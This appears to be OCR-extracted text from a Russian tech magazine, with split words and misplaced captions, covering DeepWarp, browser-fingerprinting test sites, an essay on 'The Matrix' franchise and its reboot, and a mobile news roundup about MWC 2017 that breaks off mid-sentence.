делен ные  соц сети? И,  самое  глав ное,  при дут  ли  в Mastodon  поль ‐
зовате ли?

DEEPWARP — ГЛУБОКАЯ НЕЙРОСЕТЬ, КОТОРАЯ ЗАСТАВИТ
ТВОИ ГЛАЗА ВРАЩАТЬСЯ2

На учные  работы  ред ко  годят ся  для  соз дания  при колов,  но  иссле ‐
дова ния в области обра бот ки изоб ражений при помощи ней росетей
в  этом  пла не  исклю чение.  Мы  уже  писали  о  ней росети,  которая

,  а  теперь  подос пела  сле ‐
дующая забава: DeepWarp получа ет на вхо де фотог рафию челове ка
и выда ет видео, где его гла за вра щают ся. Иног да — очень реалис ‐
тично.

прев раща ет  караку ли  в  урод ливых  котов

В  качес тве  наг лядной  демонс тра ции  можешь  пос мотреть 
  на  сай те  AlteredQualia  (кста ти,

если  зай дешь  на  глав ную  стра ницу,  то  уви дишь  мно го  кра сивых
демок на WebGL).

кол ‐
лекцию  уже  обра ботан ных  сним ков

Прос то  води  мыш кой  по  стра нице,  и  гла за  девуш ки  на  фотог ‐
рафии будут сле довать за кур сором. Если клик нуть в любом мес те,
то под гру зит ся сле дующее «живое» фото.

, лежащая в осно ве это го спе цэф фекта, написа на
рос сий ски ми уче ными из груп пы компь ютер ного зре ния «Скол теха».
На    ты  можешь  не  толь ко  озна комить ся  с  теоре тичес кой
осно вой ( ), но и поп робовать самос тоятель но 

 и сге нери ровать видео.

На учная работа

их  сай те
PDF заг рузить фотог ‐

рафию

Из дание  «Медуза»,  пер вым  под хва тив шее  новость  о  DeepWarp,
пред лага ет  сво его  ,  который  еще  нем ного  упро ‐
щает дело. Отправь ему фотог рафию, и через пару секунд она нач ‐
нет  кру тить  гла зами.  Кста ти,  в  редак ции  «Медузы»  уже  забот ливо

.

бо та  для  Telegram

прог нали через DeepWarp популяр ные мемы

FINGERPRINT CENTRAL И AM I UNIQUE — СЕРВИСЫ ДЛЯ
ПРОВЕРКИ БРАУЗЕРА НА ФИНГЕРПРИНТИНГ3

Фин гер прин тинг  —  это  механизм  слеж ки  за  поль зовате лями,
который  опи рает ся  на  отли читель ные  чер ты  бра узе ра  и  опе раци ‐
онной  сис темы.  По  отдель нос ти  они  не  уни каль ны  и  не  помогут
никого иден тифици ровать, но если взять целый набор таких харак ‐
терис тик,  то  появ ляет ся  воз можность  с  опре делен ной  точ ностью
выделить кон крет ного челове ка из чис ла посети телей сай та.

Раз работ чики сай та   пред лага ют любому жела ‐
юще му  оце нить  эту  точ ность.  Зай ди  в  раз дел My  Fingerprint  и  пос ‐
ледова тель но  наж ми  кноп ки  Run  JavaScript  Tests,  Send  to  Server
и Get Statistics. Ты уви дишь, как запол нится таб лица харак терис тик:
нап ротив каж дой из них будет ука зан про цент поль зовате лей, бра ‐
узер которых име ет ту же нас трой ку или отли читель ную чер ту.

Fingerprint Central

Для  тех,  кто занима ется этой  темой серь езно, есть раз дел Custom
statistics, где из спис ка пред лага ется выб рать набор черт и уви деть,
какую часть про тес тирован ных на сай те поль зовате лей мож но было
отли чить по их сочета нию. Так же на GitHub дос тупны 

.
ис ходни ки про ‐

екта
Ес ли же  тебе  нужен  корот кий  и  прос той  ответ  на  воп рос  о  том,

мож но ли тебя отсле дить, заг ляни на сайт  . Он сра зу же
про тес тиру ет  твой бра узер и  покажет,  какие имен но  чер ты  выда ют
тебя.

Am I Unique

Ес ли  ты  не  исполь зуешь  никаких  средств  ано ними зации,  то
в  деталь ном  отче те,  ско рее  все го,  уви дишь,  что  тебя  отсле жива ют
по  начер танию  сис темных  шриф тов,  наличию  бло киров щика  рек ‐
ламы и даже по модели виде окар ты.

Да же если поп робовать зай ти на Am  I Unique через Tor, который
скры вает  или  пол ностью  под делыва ет  эти  парамет ры,  выяс нится,
что  слеж ка  теоре тичес ки  воз можна.  Мой  бра узер  ока зал ся  неуни ‐
каль ным сре ди 350 тысяч соб ранных резуль татов, но точ но такие же
чер ты име ет лишь 0,04% про ана лизи рован ных сис тем. На корот ком
про межут ке  вре мени это го  впол не дос таточ но,  что бы иден тифици ‐
ровать уни каль ного поль зовате ля.

Под робнее о том, как работа ет фин гер прин тинг, читай в статье «

».

То ‐
таль ная слеж ка в интерне те — как  за  тобой сле дят и  как положить
это му конец

mailto:apismenny@gmail.com
https://mastodon.social/
https://mastodon.social/
https://instances.mastodon.xyz/list
https://xakep.ru/2017/02/22/www-image-to-image/
http://alteredqualia.com/xg/examples/eyes_gaze2.html
http://sites.skoltech.ru/compvision/projects/deepwarp/
http://sites.skoltech.ru/compvision/projects/deepwarp/
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СЦЕНА

Куль товая  «Мат рица»  выш ла  в  про кат  восем надцать  лет
назад, в кон це мар та 1999 года, и вско ре утверди лась в роли
новой  законо датель ницы  моды  в  науч но‐фан тасти чес ком
кино. С тех пор мно гое изме нилось: Лукас боль ше не учас ‐
тву ет  в  соз дании  кос моопе ры,  братья  Вачов ски  сме нили
пол,  а  вир туаль ная  реаль ность,  мож но  ска зать,  приш ла
в каж дый дом — Sony не так дав но с удо воль стви ем рапор ‐
товала,  что  про дажи  PlayStation  VR  перева лили  за  мил лион
штук.

В сов ремен ном мире тех нологии ушли далеко впе ред по срав нению с реаль ‐
ностью «Мат рицы». Так что решение Warner Bros. воз родить фран шизу ста ло
абсо лют ной неожи дан ностью. В  кон це девянос тых фильм про изво дил мощ ‐
ное  впе чат ление —  хотя бы фигурой  хакера  в  цен тре сюжета  (кста ти,  в  том
же 99‐м вышел пер вый номер жур нала «Хакер»). Не поз дно вато ли в WB спох ‐
ватились? Поп робу ем разоб рать ся, а заод но вспом ним, как Вачов ски ста ли
«отца ми» глав ной религии сты ка сто летий.

Ар хаич ные город ские телефо ны на удив ление умес тно смот рятся в нас ‐
квозь тех нологич ной «Мат рице»

БОЛЬШАЯ МАТРИЦИАНСКАЯ ЭНЦИКЛОПЕДИЯ
Жур налис ты  с  удо воль стви ем  обсужда ли феномен  «Мат рицы»  на  стра ницах
кино изда ний,  уни вер ситет ские  спе цы  пос вящали  ему  науч ные  тру ды,  а  уж
о фанатах не сто ит и упо минать — на темати чес ких форумах выс казыва лись
самые  раз ные  теории.  Сами  Вачов ски  не  встре вают  в  обсужде ния,  порой
годами избе гая репор теров. Кое‐какие их отве ты мож но най ти в «бонус ных»
раз делах  DVD‐изда ний,  но  ничего  кар диналь но  нового  к  интер пре тации
«Мат рицы»  они  не  добав ляют.  Режис серы  гор дятся  тем,  что  оста вили  трак ‐
товку  на  суд  ауди тории.  У WB  теперь,  кста ти, широкий  прос тор  для  импро ‐
виза ции — спи сок «канони чес ких» про изве дений в рам ках фран шизы сме хот ‐
ворен.

В  кинема тог раф  Вачов ски  приш ли  в  середи не  девянос тых,  будучи  трид ‐
цатилет ними сос тояв шимися… стро ите лями. В докумен талке The Matrix Revis‐
ited  (2001,  режис сер  Джош  Орек)  они  говорят,  что  им  очень  помог  опыт
работы в сфе ре нед вижимос ти — мол, при ходи лось раз бирать ся с круп ными
про екта ми. Короче, коор динация сотен людей на съем ках пер вой «Мат рицы»
и  рас поряже ние  бюд жетом  в  60  мил лионов  дол ларов  не  выз вали  у  Лар ри
и Энди дрожь в колен ках.

Ого ворим ся,  прав да,  что  сце нарий  «Мат рицы»  дуэт  завер шил  в  1994‐м,
чуть ранее про дав WB дру гую свою исто рию, «Наем ные убий цы». За нее ухва ‐
тились  режис сер  Ричард  Дон нер  и  про дюсер  Джо эл  Сил вер,  извес тные
по серии боеви ков «Смер тель ное ору жие», а текст целиком перепи сал Брай ‐
ан  Хел геленд.  Пос леднее  брать ев  взбе сило  —  выпус кать  из‐под  кон тро ля
«Мат рицу» они не собира лись, одна ко в WB не спе шили доверять солид ную
сум му  само учкам.  Ком про мис сом  стал  трил лер  «Связь»,  пос тавлен ный
Вачов ски за четыре с полови ной мил лиона дол ларов, — с одной сто роны, WB
таким  обра зом  «про тес тирова ла»  визи оне ров,  с  дру гой  —  Лар ри  и  Энди
поняли,  с  кем  будут  сни мать  фильм  меч ты,  и  опре дели лись  с  опе рато ром
(Билл Поуп), мон тажером (Зак Стэн берг) и ком позито ром (Дон Дэвис).

Ста рые доб рые братья на съем ках «Свя зи» (1996)

Впро чем,  тех ничес кая  сто рона  воп роса  (упо мяну тый  скилл  в  стро итель ном
биз несе) — толь ко пол дела. А как у Вачов ски с вооб ражени ем? Тут у них тоже
есть  некото рый  бэк гра унд.  С  начала  девянос тых  они  сочиня ли  сюжеты
для  комик сов  —  в  час тнос ти,  при ложи лись  к  Ectokid  (Marvel  Comics).  Да  и
в индус трии оба раз бирались очень хорошо — неуди витель но, что рисовать
кон цепты и рас кадров ку «Мат рицы» поз вали Дже фа Дэр роу, авто ра комик са
« ».  Чуд ная  тех ника  и  монолит ный мир машин —  пло ды  его
«боль ного вооб ражения» (цитата из The Matrix Revisited).
Кру то сва рен ный

Дру гое  цен ное  откры тие Вачов ски — Джон  Гаэта,  спе циалист  по  компь ‐
ютер ной  гра фике,  на  тот  момент  пред ста витель  VFX‐андегра унда.  Тан дем
каким‐то  обра зом  хотел  отра зить  в  лен те  эффект  стоп‐кад ра,  при сущий
комик сам, и Гаэта посодей ство вал появ лению на свет зна мени того bullet time
(облет  камерой  мед ленно  дви жуще гося  объ екта).  На  съемоч ной  пло щад ке
воз водились кру говые уста нов ки, облеплен ные объ екти вами, одновре мен но
фотог рафиро вав шими акте ра. Визу аль но сног сши батель ное slo‐mo нас толь ‐
ко впе чат лило кри тиков,  что Гаэта получил за свою работу «Оска ра». В  гра ‐
фичес ком  пла не  «Мат рица»  запом нилась  имен но  бла года ря  bullet  time,
который мигом взя ла на воору жение не толь ко кино‐, но и игро вая индус трия.
Из  находок  Вачов ски,  породив ших  кучу  мемов,  под ражаний  и  пародий,
пожалуй, схо жей популяр ностью поль зовалась толь ко мас ка Гая Фок са из «V
зна чит вен детта» (2006).

Зна читель ная часть бюд жета  «Мат рицы»  ушла на вос созда ние апо калип ‐
тичес кой  реаль нос ти  XXII  века,  где  биохи мичес кие  роботы  исполь зуют  люд ‐
ские тела в качес тве батаре ек. Сами homo sapiens про водят жизнь во сне —
в иллю зор ном мире, кон тро лиру емом AI, той самой мат рице. Компь ютер ное
изме рение воп лощено пре дель но линей ным, под час схе матич ным и иска жен ‐
ным, — в пику пещер ному Зиону, пос ледне му опло ту челове чес тва, укры тому
в нед рах пла неты.

Ки ану Ривз, дис ципли ниро ван ный до моз га кос тей актер, готов был
пере игры вать любой дубль, даже трю качес кий, до потери пуль са

Но ведь «Мат рица» — не толь ко камен ное лицо Киану Рив за, анти уто пичес кая
фан тасти ка  и филосо фия? Пра виль но,  есть  еще  одно  важ ное  сла гаемое —
кунг‐фу.  Для  пос танов ки  боев  Вачов ски  выписа ли  из  Гон конга  Юэня
Ву‐Пина —  по  мне нию  мно гих  зна токов  китай ско го  кино,  луч шего  в  сво ем
деле.  Ву‐Пин  нес коль ко  месяцев  тре ниро вал  гол ливуд ских  артистов,
как  итог —  шаль ные  поедин ки‐тан цы  с  сот нями  при емов  и  ори гиналь ными
тех никами  сни мали  с  точеч ным  учас тием  дуб леров  и  минималь ными  ухищ ‐
рени ями на мон тажном сто ле.

К  сло ву,  о  дуб лерах:  осо бен но  опас ные  трю ки,  разуме ется,  выпол няли
про фес сиональ ные кас кадеры — Рив за, нап ример, под менял Чад Ста хел ски,
сло мав ший  колено  и  пле чо.  Кто  бы  мог  подумать,  что  имен но  этот  человек
выс тупит режис сером боеви ков  «Джон Уик»  (2014) и  «Джон Уик — 2»  (2017)!
В  сик веле  Ста хел ски  стол кнул  лба ми  Рив за  и  Лоурен са  Фиш бёрна,  соп ‐
роводив их встре чу проз рачны ми отсылка ми к «Мат рице». Так‐то! Даже кас ‐
кадеров Вачов ски вер бовали с умом.

Ки ану Ривз, Кэр ри‐Энн Мосс и Лоуренс Фиш бёрн на премь ере «Джо на
Уика — 2» (2017)

«Мат рицу» сто ит вос при нимать как неч то сред нее меж ду быс тры ми гон конг ‐
ски ми боеви ками и аме рикан ски ми комик сами с ярки ми зри тель ными обра ‐
зами.  Видимо,  это  и  пос лужило  при чиной  сумас шедше го  ком мерчес кого
успе ха филь ма по все му миру — вку пе со сти лиза цией под мод ный кибер панк
и сво евре мен но под хва чен ной тен денци ей компь юте риза ции.

Ва чов ски,  катего рич ные  само учки  из  Чикаго,  отнюдь  не  спе шили  зак ‐
реплять успех — сце нарий хита дал ся им тяжело. В кар тине братья отра зили
вооб ще  все  удач ные  идеи,  с  которы ми  стал кивались  в  виде оиг рах,  литера ‐
туре  и  ани ме.  Учи тывая  мас су  заимс тво ваний  из  «Приз рака  в  дос пехах»
(1995), «Мат рицу» при желании мож но наз вать воль ной адап таци ей муль тип ‐
ликаци онно го  шедев ра  Мамору  Осии.  Недав но  в  про кате  стар товал  одно ‐
имен ный  боевик  Рупер та  Сан дерса —  инте рес но  будет  срав нить  его  в  том
чис ле с детищем Вачов ски.

Джо эл Сил вер и Энди Вачов ски на премь ере «Перезаг рузки» (2003)

Про дол жение лен ты сущес тво вало толь ко в чер новых наб росках, одна ко WB
пот ребова ла немед ленно перей ти к сик велам, о чем про дюсер Джо эл Сил вер
пря мо говорит в докумен талке The Matrix Reloaded: Pre‐Load (2003, режис сер
Джош Орек). Вачов ски, отны не совер шенно не стес ненные в средс твах, чес ‐
тно попыта лись при дать  «Перезаг рузке» и  «Револю ции» отте нок  новиз ны —
раз бавили  дра ки  холод ным  ору жием,  напол нили  Зион  тысяча ми  ста тис тов,
пос тро или на день ги WB трех полос ное шос се и сня ли шикар ную авто мобиль ‐
ную  погоню на  све жень ком  асфаль те… Увы,  перипе тии  исто рии  сочиня лись
в спеш ке, про думать детали не было вре мени, а финал ина че как вымучен ным
не  назовешь.  Кар тины  оку пились  в  про кате,  но  оста вили  про тив ную  кляк су
на безуп речном резюме Вачов ски.

ЗАБЫТЬ И ПЕРЕЗАБЫТЬ
Еще  «Мат рице»  тра гичес ки  не  повез ло  с  виде оиг ровыми  адап таци ями,  что
обыч но  обхо дит ся  сто роной  в  киноман ских  жур налах.  Одна ко  при митив ные
игры, кажет ся, куда боль нее уда рили по брен ду, чем разоча ровы вающие сик ‐
велы.

На чина лось  все  с  мажор ных  нот.  Отды хая  от  пер вой  «Мат рицы»,  Лар ри
и Энди игра ли на PS1 в шутер Metal Gear Solid (1998) — удив ленные необыч ‐
ными гей мплей ными механи ками, они встре тились с гей мди зай нером Хидэо
Код зимой  и  обсу дили  воз можность  перено са  прик лючений Нео  в  вир туаль ‐
ный мир. Даль ше раз говоров дело,  увы, не пош ло. Вачов ски  так же подумы ‐
вали  отдать  лицен зию  сту дии  Bungie  (исто рия  пом нит  брать ев  как  боль ших
пок лонни ков фран шизы Halo) и сде лали пря мое пред ложение Дей ву Пер ри,
«золото му маль чику» игро вой индус трии, при час тно му к резонан сным Earth‐
worm Jim (1994), MDK (1997) и Messiah (2000). Пер ри отка зал ся, одна ко поз же
дуэт уго ворил его под писать ся на про дукт по мотивам — так на свет появи ‐
лась про валь ная Enter the Matrix (2003, PC, PS2, Xbox, GameCube).

Нич то не пред вещало бичева ния кри тика ми и разоча рова ния общес твен ‐
ности. Во‐пер вых,  за себя  говори ли имя Пер ри и репута ция осно ван ной им
ком пании Shiny Entertainment, а изда тель  (Atari) не ску пил ся опла чивать кап ‐
ризы раз работ чиков. Во‐вто рых,  сце нарий  написа ли Лар ри  и Энди —  глав ‐
ными геро ями побоч ной исто рии они наз начили капита на Ниобе (Джа да Пин ‐
кетт‐Смит) и ее напар ника Приз рака (Энто ни Вон). В‐треть их, Вачов ски сня ли
час  матери ала  для  зас тавок  игры  и  кон суль тирова ли  Пер ри  по  сце нам
на движ ке, а боевые сег менты с motion capture фик сировал на камеру Юэнь
Ву‐Пин. И в‐чет вертых, на озвучке отме тились глав ные звез ды три логии.

Эк шен  Enter  the  Matrix  пос тупил  в  про дажу  одновре мен но  с  запус ком
в про кат  «Перезаг рузки» — толь ко этим и мож но объ яснить,  что  тираж пре ‐
высил 5 мил лионов копий. В игре на обе ноги хро мало все — упо мянем лишь
пос редс твен ную  гра фику,  топор ную ани мацию и  убо гое осве щение,  то есть
внеш не Enter the Matrix ока залась ну очень неп ритяза тель ной. Гей мплей тоже
не  блис тал  —  осо бен но  раз дра жали  мутор ные  авто мобиль ные  погони
и снай пер ские задания. Единс твен ное, что уда лось, — это дра ки: и при емов
море, и по сте нам раз решено про бежать ся, и bullet time отменный. Сюжет но
игра пле лась парал лель но «Перезаг рузке», отве чая на некото рые оставлен ‐
ные за кад ром воп росы. Естес твен но, не обош лось без аген та Сми та с кло ‐
нами,  близ нецов‐аль биносов  с  дре дами  и  Моники  Белуч чи  в  роли  Пер ‐
сефоны.

Близ нецы — одна из дей стви тель но удач ных находок «Перезаг рузки»

Прох ладная  реак ция  прес сы  ничему  не  научи ла Вачов ски  и Пер ри —  через
какое‐то вре мя Shiny и Atari анон сирова ли The Matrix: Path of Neo (2005, PC,
PS2, Xbox). На сей раз братья объ еди нили в одной короб ке события трех час ‐
тей  и  дали  поиг рать  за  Избран ного.  Нарез ки,  свя зыва ющие  мис сии,  они
полиро вали лич но с «оска ронос ным» мон тажером Заком Стэн бергом — уди ‐
витель но, что выш ло так себе. Вачов ски даже лич но вып рыгива ли на монитор
накану не финаль ного бос са — в виде плос ких пик сель ных фигурок, про изно ‐
сящих  пару  шуток.  Ста рые  боляч ки,  к  сожале нию,  раз работ чикам  залечить
не  уда лось  —  нев зрач ная  кар тинка  и  скуч ные  задания  никуда  не  делись,
а вер сию для PC вдо бавок пор тило неп родуман ное управле ние. Вто рой раз
ауди тория  на  под гнив шую при ман ку  не  клю нула — про дажи  сос тавили  при ‐
мер но 800 тысяч экзем пля ров.

На пос ледок упо мянем MMORPG The Matrix Online, которая про дер жалась
на рын ке с 2005 по 2009 год. Вачов ски тол ком не учас тво вали в ее раз витии,
да  и  сама  она  была  ско рее  данью  моде  на  жанр,  чем  необ ходимостью, —
с  тяжело веса ми  не  кон куриро вала,  хотя  и  получи ла 

.
неп лохой  сред ний балл

на Metacritic

Сю жет  «Мат рицы»  про низан  условнос тями,  из‐за  чего  три логию  рьяно  кри ‐
тику ют любите ли логич ных исто рий. Как людям в пер вой вой не с машина ми
уда лось  затянуть  тучами  пла нету  целиком?  Почему  в  качес тве  батаре ек
исполь зуют ся  имен но  homo  sapiens  —  неуже ли  роботы  не  наш ли  более
эффектив ный источник энер гии? Как перебеж чик Сай фер сумел встре тить ся
в  мат рице  с  аген том  Сми том  без  пос торон ней  помощи?  С  чего  вдруг  Нео
обрел  сверх спо соб ности  в  реаль ном  мире?  Воп росов  мно го,  отве тов  нет,
потому что Вачов ски поч ти не ком менти руют свое твор чес тво.

И рев нос тно к нему отно сят ся. Ког да Брай ан Хел геленд перепи сал «Наем ‐
ных убийц», братья воз мутились и пот ребова ли вычер кнуть их име на из  тит ‐
ров. В сце нарии «Свя зи» они заранее оставля ли помет ки для про дюсе ров —
как  имен но  хотят  сни мать  и  что  не  убе рут  ни  при  каких  усло виях.  Вачов ски
счи тают  свои  кар тины  закон ченны ми  про изве дени ями  и  никог да  не  выпус ‐
кают на DVD/Blu‐ray «режис сер ских» и подоб ных «рас ширен ных» вер сий.

Не удов летво рен ные фанаты решили выс казать ся за твор цов — так в Сети
появи лись  нес коль ко  аль тер натив ных  сце нари ев  три логии.  Источник  воз ‐
никно вения, как пра вило, отсле дить невоз можно. Сами «сце нарии» — прос ‐
той  перес каз  событий,  без  диало гов  и  про чих  деталей.  Самый  извес тный
повес тву ет о том, как Нео стер с лица пла неты всю механи ку, но Архи тек тор
сооб щил ему, что Зион лишь реаль ность внут ри реаль нос ти, как итог — мат ‐
рица не унич тожена, а перезаг ружена. Этот сюжет ный ход неиз вес тный фанат
стя нул из  «Три над цатого эта жа», филь ма — ровес ника  «Мат рицы». В дру гих
яко бы  «отвер гну тых  сту дией»  вари антах  заимс тво вались  эле мен ты  исто рии
«Тем ного  города»  (1998),  еще  одной  науч но‐фан тасти чес кой  лен ты,  час то
срав нива емой с тру дом Вачов ски.

В «Мат рице» дей стви тель но хва тает сюжет ных дыр, в сик велах же черес ‐
чур мно го пер сонажей, эмо ций и дей ствия при миниму ме диало гов, да к тому
же «хеп пи‐энд» — то еще разоча рова ние! Но задумай тесь — у Лар ри и Энди
вооб ще‐то  была  воз можность  сочинить  аль тер натив ную  кон цовку,  и  они  ей
вос поль зовались — в игре The Matrix: Path of Neo. Там нет встре чи с Глав ным
компь юте ром — под  занавес Нео  колош матит  испо лин ско го  робота‐Сми та,
побеж дает, и жители Зиона встре чают пер вый рас свет под «We Are the Cham‐
pions» Queen. Видите — Вачов ски прос то любят хеп пи‐энды.

ЗАМЕНА БАТАРЕЕК
Нет рудно  догадать ся,  что  глав ная  проб лема  «Перезаг рузки»,  «Револю ции»
и виде оигр — желание инвесто ров нажить ся на буме, который породи ла пер ‐
вая  часть.  Как  толь ко  инте рес  угас,  WB  тихонь ко  пос тавила  фран шизу
на  паузу.  Дру гие  про екты  дуэта  режис серов  она,  впро чем,  спон сирова ла
с энту зиаз мом, дой дя до точ ки в ходе про изводс тва «Вос хожде ния Юпи тер»
(2015), —  бюд жет фан тасти чес кого  боеви ка  вмес те  с  мар кетин говыми  рас ‐
ходами рав нялся  зат ратам на съем ки  «Мат рицы‐2» и  «Мат рицы‐3»,  а  сбо ры
ока зались  катас тро фичес ки  низ кими.  WB,  не  церемо нясь,  прек ратила  сот ‐
рудни чес тво  с  кинема тог рафис тами,  и  они  отпра вились  покорять  телеви ‐
дение. Кста ти, сов сем ско ро на Netflix ста нет дос тупен вто рой сезон их сери ‐
ала  «Вось мое  чувс тво». Над  ним Лана  (экс‐Лар ри)  работа ла  уже без Лил ли
(экс‐Энди), при ходя щей в себя пос ле опе рации по сме не пола.

Ла на (Лар ри) Вачов ски, наши дни

И тут‐то WB решила, что мат рица «перезаг рузилась», — ком пания еще нес ‐
коль ко лет назад выкупи ла пра ва на фран шизу у Джо эла Сил вера, и в середи ‐
не мар та нынеш него года The Hollywood Reporter со ссыл кой на неназ ванный
источник   —  на  ран ней  ста дии  раз работ ки  находит ся…  переза пуск
куль тового цик ла! Яко бы сце нарий может написать Зак Пенн (не самый удач ‐
ливый  автор,  работы  которо го  ред ко  доходят  до  зри теля  в  ори гина ле),
на  глав ную  же  роль  пла ниру ется  тем нокожий  актер  Май кл  Б.  Джор дан
из недав ней «Фан тасти чес кой чет верки».

со общил

Бу дет ли в новой «Мат рице» агент Смит? «Мат рица» без Сми та — день ги
на ветер!

Ва чов ски  к  новому  филь му  неп ричас тны,  роль  Сил вера  не  уточ няет ся,  хотя
и  извес тно,  что  идею  WB  подал  имен но  он.  Непонят но  так же,  нужен  ли
киноги ган ту Киану Ривз, который раз менял пятый десяток и дав но не попадал
в про екты со сме той за 100 мил лионов дол ларов. В одном из интервью, при ‐
уро чен ных к релизу «Джо на Уика — 2», Ривз  , что без воп росов стрях ‐
нет пыль с пла ща Нео, если Вачов ски вер нутся к режис суре. Одна ко WB вряд
ли сно ва рис кнет день гами, плюс Сил вер с экс‐брать ями не в самых теп лых
отно шени ях.

объ явил

WB пон равилось,  как в Disney рас поряди лись «звез дным» нас леди ем Lu‐
casfilm.  Ресурс  Birth.Movies.Death,  тоже  со  ссыл кой  на  собс твен ных  инсай ‐
деров,  :  ком пания  мыс лит  не  в  нап равле нии  переза пус ка,  а  в  сто ‐
рону рас ширения фран шизы. «Зеленый свет» получил прик вел, пос вящен ный
молодо му  Мор феусу,  —  его‐то  и  исполнит  Май кл  Б.  Джор дан.  Сайт  Birth.‐
Movies.Death под держал Зака Пен на, который   в Twitter, что ини циати ‐
ва  WB    с  ремей ком/ребутом.  Ком мента рии  Пен на,  кста ти,  кос ‐
венно  под твержда ют,  что  про ект  дей стви тель но  в  работе,  прос то WB  тянет
с офи циаль ным анон сом.

от меча ет

на писал
не  свя зана

Мор феус, таб леткой угос тишь?

Отс тра нение Вачов ски — шаг со сто роны инвесто ра логич ный. Лана и Лил ли
неиз менно тер пят фиас ко в про кате (пос ледний их успешный про ект, «V зна ‐
чит вен детта», слу чил ся боль ше десяти лет назад), да и проб лемы гомосек ‐
суалов  и  тран сген деров,  судя  по  выс казыва ниям  в  СМИ  и  отсылкам  в  кар ‐
тинах, звез дных родс твен ников инте ресу ют гораз до боль ше, чем вир туаль ная
реаль ность  и  искусс твен ный  интеллект.  Нес мотря  на  визу аль ные  пиры,
которые они закаты вали в «Спи ди‐гон щике» (2008) и «Вос хожде нии Юпи тер»,
лен ты не мог ли пох вастать ся револю цион ными спе цэф фекта ми. Новой «Мат ‐
рице» это нуж но как воз дух.

В начале этой статьи я писал о том, что циф ровой пласт куль туры силь но
изме нил ся с кон ца девянос тых — прос то перес нятый «в лоб» боевик никого
не  уди вит,  на  что    The  Hollywood  Reporter.  «Мат рице»
остро  необ ходим  ледяной  душ  из  неожи дан ных  идей  и  отве тов  на  воп росы
(нес тыков ки,  недого вор ки…),  порож денные  ори гиналь ной  три логи ей.
В  режис сер ском  крес ле,  понят ное  дело,  дол жен  угнездить ся  нас тоящий
визи онер,  и  такое  слу чалось  рань ше  —  вспом ните  «Чужого»  (1979)  Рид ли
Скот та и «Чужих» (1986) Джей мса Кэмеро на.

об раща ет  вни мание

Де виз Мас тера клю чей («Молитесь за нас!») дол жен стать кре до соз ‐
дателей новой «Мат рицы»

Спра вед ливос ти  ради  —  неод нознач ных  переде лок  клас сики  пруд  пру ди.
Ска жем, «Тер минатор» дол гие годы не в силах вер нуть ся на аллею сла вы, а о
ремей ках фан тасти чес ких  трил леров Пола Вер ховена луч ше не вспо минать.
Особ няком  дер жатся  три  три логии  по  «Звез дным  вой нам»  (вось мой
и девятый эпи зоды на под ходе!) и череда спин‐оффов, удач но начатая «Изго ‐
ем‐один»  (2016).  Ясно  одно  —  тот,  кто  под пишет  кон тракт  с  WB,  взва лит
на себя неверо ятную ответс твен ность.

Но,  переф разируя  извес тную  пес ню,  «Эта мат рица  будет  веч ной,  если  я
заменю батарей ки». До Нео прог рамму перезаг ружали пять раз. Какое раз ‐
долье для экспе римен тов!
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X‐MOBILE

Се год ня  в  выпус ке:  новый  Nokia  3310,  релиз  Android  Wear
2.0,  Google  Assistant  для  всех  смар тфо нов,  офи циаль ная
смерть  Android  2.3  и  3.0,  мес сен джер  РПЦ.  А  так же:  набор
UI‐биб лиотек на все слу чаи жиз ни, нес коль ко ста тей о Kotlin,
отчет  «Лабора тории  Кас пер ско го»  о  мобиль ных  вирусах
и трен ды локеров для Android за 2016 год.

MOBILE WORLD CONGRESS
Мы не дела ем обзо ры смар тфо нов, поэто му MWC, про шед ший в кон це фев ‐
раля, — «не наша тема», но и сов сем обой ти ее сто роной тоже не получит ся.
Из того, что запом нилось, мож но отме тить новый BlackBerry KEYone, который
теперь вов се не BlackBerry, а китай ский TCL. Основная фиш ка смар тфо на —
QWERTY‐кла виату ра (куда же без нее) с под дер жкой свай пов. По кла виату ре
в  бук валь ном  смыс ле  мож но  водить  паль цем,  что бы  выпол нить  дей ствие
на смар тфо не (лис тать спис ки и веб‐стра ницы, нап ример). С ее же помощью
мож но аутен тифици ровать ся (в кла вишу про бела встро ен ска нер отпе чат ков
паль цев) и запус кать при ложе ния, наз начив на кла виши быс трые дей ствия.

BlackBerry KEYone

На выс тавке, как и пред полага лось, показа ли обновлен ную вер сию телефо на
Nokia 3310, прав да от ори гина ла в ней остался толь ко дизайн, да и  тот стал
очень  нелепым.  Ну  и  конеч но  же,  про изво дит  его  вов се  не  та  самая Nokia,
а ком пания HMD. Смар тфо ны Nokia 3, 5 и 6, пред став ленные на том же MWC,
ничем не инте рес ны от сло ва сов сем. Единс твен ное их отли чие от сотен дру ‐
гих  смар тфо нов  —  чис тый  Android  и  обе щание  выпус кать  сво евре мен ные
обновле ния безопас ности каж дый месяц.

Но вый Nokia 3310 рядом со ста рым

На ибо лее  же  инте рес ный  смар тфон  на  выс тавке  пред ста вила  LG.  Модель
G6 любопыт на в пер вую оче редь огромным экра ном со скруг ленны ми угла ми
поч ти на всю пло щадь перед ней панели. Бла года ря это му смар тфон с экра ‐
ном в 5,7" име ет раз мер  кор пуса при мер но  как  у 5‐дюй мовых моделей. Да,
соот ношение сто рон у него тоже нес тандар тное: 19:8. То есть экран доволь ‐
но длин ный, и, если смот реть на нем видео в HD или Full HD, левый и пра вый
края покажут  чер ные полосы. Про двой ную  камеру  говорить не будем,  этим
сегод ня стра дают все про изво дите ли.

LG G6

СОБЫТИЯ
Ин теллек туаль ный помощ ник Google Assistant  ско ро появит ся на всех смар ‐
тфо нах под управле нием Android 6 и 7. «Ассистент» уже дос тупен на смар тфо ‐
нах Pixel, умной колон ке Google Home, в часах на базе Android Wear 2.0 и как
часть  мес сен дже ра  Google  Allo.  На  этой  неделе  он  ста нет  дос тупен  поль ‐
зовате лям Android из США, затем обновле ние получат авс тра лий цы, канад цы,
англи чане  и  нем цы.  О  Рос сии  до  сих  пор  ничего  не  извес тно,  более  того,
«Ассистент» пока прос то не под держи вает рус ский язык.

Google Assistant рас простра няет ся как часть обновле ния сер висов Google
(Google Play Services),  пре дус танав лива емых на смар тфон вмес те с магази ‐
ном при ложе ний и дру гими при ложе ниями Google. Поэто му про шив ку смар ‐
тфо на обновлять не при дет ся, сер висы Google обно вят ся в авто мати чес ком
режиме.

Кро ме того, Google офи циаль но приз нала Android Gingerbread (2.3) и Hon‐
eycomb  (3.0)  мер твы ми,  пол ностью  уда лив  под дер жку  этих  вер сий  ОС
из  Google  Play  Services.  Пос ледний  отве чает  в  том  чис ле  за  под клю чение
акка унта Google и его син хро низа цию и работу Play Store.

В  то же  вре мя раз работ чики  LineageOS  (ранее CyanogenMod)  ,
что их зна мени тый дви жок тем, в осно ву которо го положе ны наработ ки ком ‐
